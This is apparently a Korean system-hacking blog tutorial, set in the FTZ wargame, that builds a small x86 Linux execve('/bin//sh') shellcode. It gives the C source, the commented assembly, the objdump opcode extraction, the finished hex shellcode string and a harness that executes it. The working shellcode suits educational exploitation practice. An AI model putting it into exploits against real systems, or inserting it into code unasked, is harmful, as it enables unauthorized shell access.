시스템 해커에게 셸코드를 제작하는 것은 반드시 필요한 능력이고, 해킹을 하다 보면 자신만의 경량 셸코드가 자주 필요로 하게 된다.
그러므로 이 글에서는 크기가 작은 경량 셸코드를만드는 방법을 설명한다.
0. bash 셸을 실행하는 C 코드의 구조 이해
1. 함수의 사용법 확인(해당 함수의 시스템 콜 번호를 함께 확인한다.)
2. 함수의 사용법에 따라 어셈블리어 코드 작성
3. 오브젝트 목적 코드 생성
4. 실행 파일 생성
5. objdump 프로그램을 이용해 op code를 추출
6. 16진수로 문자열을 변경해 셸코드 생성
위는 셸코드를 만드는 순서를 표현한 것이다.
32bit | 16bit | 상위 8bit | 하위 8bit | 용도 |
EAX | AX | AH | AL | 누산기로 연산에 사용 |
EBX | BX | BH | BL | 주소 지정을 위한 인덱스로 사용 |
ECX | CX | CH | CL | 반복문과같은 루프의 카운터로 사용 |
EDX | DX | DH | DL | 입출력이나 데이터 주소 지정에 사용 |
위의 표는 애플리케이션 용도에 맞는 어셈블리어 문법에 맞게 설명된 것이다.
하지만 셸코드와 같이 C언어를 어셈블리어로 바꿔야 하는 경우에는 어셈블리어 문법과는 맞지 않다.
32bit | 16bit | 상위 8bit | 하위 8bit | 용도 |
EAX | AX | AH | AL | 시스템 콜 함수 번호 |
EBX | BX | BH | BL | 첫 번째 함수 인자 |
ECX | CX | CH | CL | 두 번째 함수 인자 |
EDX | DX | DH | DL | 세 번째 함수 인자 |
그렇기 때문에 셸코드를 만들 때는 위와 같은 레지스터의 용도를 가지고 어셈블리어 코드를 작성해야 셸코드를 만드는 데 도움이 된다.
위의 표를 보면 지금까지 알고 있었던 레지스터의 용도와는 다른 내용일 수 있다.
원래 레지스터는 다양한 용도로 사용되지만 기초 개념과 문법을 소개하는 수준에서는 보편적인 개념으로 묶어서 설명하고, 실제로 사용하는 용도에 따라 용도의 의미가 달라질 수 있다.
cd tmp
vi myshell.c
#include <stdio.h>
int main()
{
char *shell[] = {"/bin/sh", 0};
execve(shell[0], &shell, 0);
}
위와 같이 코드를 작성하고
컴파일 후 실행하면 배시셸이 실행된다.
즉, execve() 함수를 이용해 정상적인 프로그램을 만든 것이다.
이제 위의 myshell.c 파일의 C 코드를 어셈블리어코드로 옮기기만 하면 셸코드 만들기에 성공한다.
어셈블리어 코드에서 함수를 호출하는 문법은 시스템 콜이다.
시스템 콜은 OS마다 위치가 조금씩 다르기 때문에 필요할 때마다 찾아서 확인해야 한다.
이 글에서는 FTZ 내에서 셸코드를 작성하므로 FTZ 환경을 기준으로 한다.
cat /usr/include/asm/unistd.h | grep execve
위와 같이 /usr/include/asm/unistd.h 파일에서 자신이 사용할 함수의 시스템 콜 번호를 확인한다.
FTZ 환경에서 execve() 함수의 시스템 콜 번호는 11번이다.
.global _start
_start:
xor %eax, %eax # EAX 레지스터를 0으로 초기화
xor %edx, %edx # EDX 레지스터를 0으로 초기화
# 첫 번째 인자인 "/bin//sh" 문자열을 조합
push %eax # NULL(=0)으로 문자열 끝을 표시
push $0x68732f2f # "//sh" 문자열을 스택에 푸시
push $0x6e69622f # "/bin" 문자열을 스택에 푸시
mov %esp, %ebx # "/bin//sh" 문자열의 주소를 저장
# 두 번째 인자인 "/bin//sh" 문자열을 조합
push %edx # NULL(=0)으로 문자열 끝을 표시
push %ebx # "/bin//sh" 문자열의 주소를 푸시
mov %esp, %ecx # "/bin//sh" 문자열의 주소를 ECX에 저장
# execve 함수 호출
movb $0x0B, %al # 0x0B(=11)
int $0x80
셸을 실행시키는 C언어 코드를 어셈블리어로 변환하면 위와 같다.
위의 어셈블리 코드를 보면 "/bin/sh"가 아닌 "/bin//sh"라고 되어 있는 이유는 어셈블리어에서 문자열을 처리하는 단위가 4byte이기 때문에 "/bin/sh"와 같이 입력하면 7byte의 문자열이 만들어져서 처리하는 데 어려움이 있기 때문에 8byte로 만드는 것이 가장 편리하므로 '/' 문자를 하나 더 입력해 8byte 길이의 문자열로 만든 것이다.
그리고 ".global _start"는 "_start" 레이블에서 시작하겠다고 예약하는 main() 함수와 동일한 구문이기 때문에 반드시 명시해야 한다.
그리고 위와 같이 오브젝트 목적 코드 생성하고 실행 파일을 생성하여 실행해보면 shell이 실행되는 것을 확인할 수 있다.
이제 컴파일된 실행 바이너리를 이용해 op code를 추출하면 된다.
objdump를 이용해 op code를 추출하면 위와 같다.
#include <stdio.h>
char shellcode[] =
"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
int main( )
{
(*(void (*)()) shellcode)();
}
이제 셸코드에 필요한 값인 op code를 16진수로 변환하는 수작업을 거친 뒤 위와 같이 call_shell.c 파일에 위의 코드를 입력한 후 컴파일하여 실행하면 shell이 떨어진다.
'system hacking > System Hacking Note' 카테고리의 다른 글
[System hacking note] PLT & GOT & Dynamic Linking 과정 파헤치기 (0) | 2024.04.01 |
---|---|
[System hacking note] 리버스로 bash 셸을 연결하는 경량 셸코드 만들기 (0) | 2024.01.13 |
[System hacking note] 리눅스에서 표준 라이브러리 경로 확인 명령어 (0) | 2023.01.06 |
[System Hacking Note] MacOS에서 hackerschool FTZ 구축 (4) | 2022.12.03 |